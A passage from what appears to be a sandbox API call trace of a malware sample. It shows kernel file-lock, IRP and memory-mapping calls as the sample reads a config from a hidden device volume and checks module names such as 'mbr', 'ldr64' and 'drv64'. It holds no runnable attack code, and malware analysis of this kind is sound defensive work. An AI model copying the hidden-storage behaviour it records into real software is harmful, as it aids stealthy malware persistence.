ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.665] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.665] IdePortDispatch () returned 0x103 [0125.665] KeWaitForMutexObject () returned 0x0 [0125.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.666] KeLeaveCriticalRegion () [0125.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.666] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.666] KeEnterCriticalRegion () [0125.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.666] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc5000 [0125.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.666] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.666] IdePortDispatch () returned 0x103 [0125.666] KeWaitForMutexObject () returned 0x0 [0125.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.666] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.666] IdePortDispatch () returned 0x103 [0125.666] KeWaitForMutexObject () returned 0x0 [0125.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.666] KeLeaveCriticalRegion () [0125.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.667] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.667] KeEnterCriticalRegion () [0125.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] KeLeaveCriticalRegion () [0125.667] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.667] KeEnterCriticalRegion () [0125.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.667] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] KeLeaveCriticalRegion () [0125.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.667] KeEnterCriticalRegion () [0125.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] ExFreePoolWithTag (P=0xfffffa8003bf8340, Tag=0x0) [0125.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] KeLeaveCriticalRegion () [0125.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.667] ReleaseMutex (hMutex=0xf0) returned 1 [0125.667] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.667] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.667] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.667] KeEnterCriticalRegion () [0125.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.667] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.667] IdePortDispatch () returned 0x103 [0125.668] KeWaitForMutexObject () returned 0x0 [0125.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.668] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.668] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.668] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.668] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.668] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.668] KeLeaveCriticalRegion () [0125.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.668] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.668] KeEnterCriticalRegion () [0125.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.668] KeLeaveCriticalRegion () [0125.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.668] KeEnterCriticalRegion () [0125.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.668] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.668] IdePortDispatch () returned 0x103 [0125.668] KeWaitForMutexObject () returned 0x0 [0125.668] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.668] KeLeaveCriticalRegion () [0125.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.669] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.669] KeEnterCriticalRegion () [0125.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.669] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc6000 [0125.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.669] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.669] IdePortDispatch () returned 0x103 [0125.669] KeWaitForMutexObject () returned 0x0 [0125.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.669] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.669] IdePortDispatch () returned 0x103 [0125.669] KeWaitForMutexObject () returned 0x0 [0125.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.669] KeLeaveCriticalRegion () [0125.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.670] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.670] KeEnterCriticalRegion () [0125.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] KeLeaveCriticalRegion () [0125.670] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.670] KeEnterCriticalRegion () [0125.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.670] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] KeLeaveCriticalRegion () [0125.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.670] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.670] KeEnterCriticalRegion () [0125.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] KeLeaveCriticalRegion () [0125.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.670] ReleaseMutex (hMutex=0xf0) returned 1 [0125.670] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.670] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.670] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.670] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.670] KeEnterCriticalRegion () [0125.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.670] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.670] IdePortDispatch () returned 0x103 [0125.671] KeWaitForMutexObject () returned 0x0 [0125.671] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.671] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.671] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.671] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.671] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.671] KeLeaveCriticalRegion () [0125.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.671] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.671] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.671] KeEnterCriticalRegion () [0125.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.671] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.671] IdePortDispatch () returned 0x103 [0125.671] KeWaitForMutexObject () returned 0x0 [0125.671] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.671] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.671] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.671] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.671] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.671] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.672] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.672] KeLeaveCriticalRegion () [0125.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.672] ReleaseMutex (hMutex=0x100) returned 1 [0125.672] Sleep (dwMilliseconds=0x2bf20) [0125.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e1a5cd0, dwHighDateTime=0x1d24fa4)) [0125.679] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.679] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.679] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.679] KeEnterCriticalRegion () [0125.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.679] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.679] IdePortDispatch () returned 0x103 [0125.680] KeWaitForMutexObject () returned 0x0 [0125.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9ad0 [0125.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] KeLeaveCriticalRegion () [0125.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.680] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.680] KeEnterCriticalRegion () [0125.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] KeLeaveCriticalRegion () [0125.680] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.680] KeEnterCriticalRegion () [0125.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.680] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.680] IdePortDispatch () returned 0x103 [0125.680] KeWaitForMutexObject () returned 0x0 [0125.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] KeLeaveCriticalRegion () [0125.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.680] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.680] KeEnterCriticalRegion () [0125.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc9000 [0125.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.681] IdePortDispatch () returned 0x103 [0125.681] KeWaitForMutexObject () returned 0x0 [0125.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.681] IdePortDispatch () returned 0x103 [0125.681] KeWaitForMutexObject () returned 0x0 [0125.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.681] KeLeaveCriticalRegion () [0125.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.682] KeEnterCriticalRegion () [0125.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] KeLeaveCriticalRegion () [0125.682] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.682] KeEnterCriticalRegion () [0125.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] KeLeaveCriticalRegion () [0125.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.682] KeEnterCriticalRegion () [0125.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] ExFreePoolWithTag (P=0xfffffa8003bf9ad0, Tag=0x0) [0125.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] KeLeaveCriticalRegion () [0125.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) 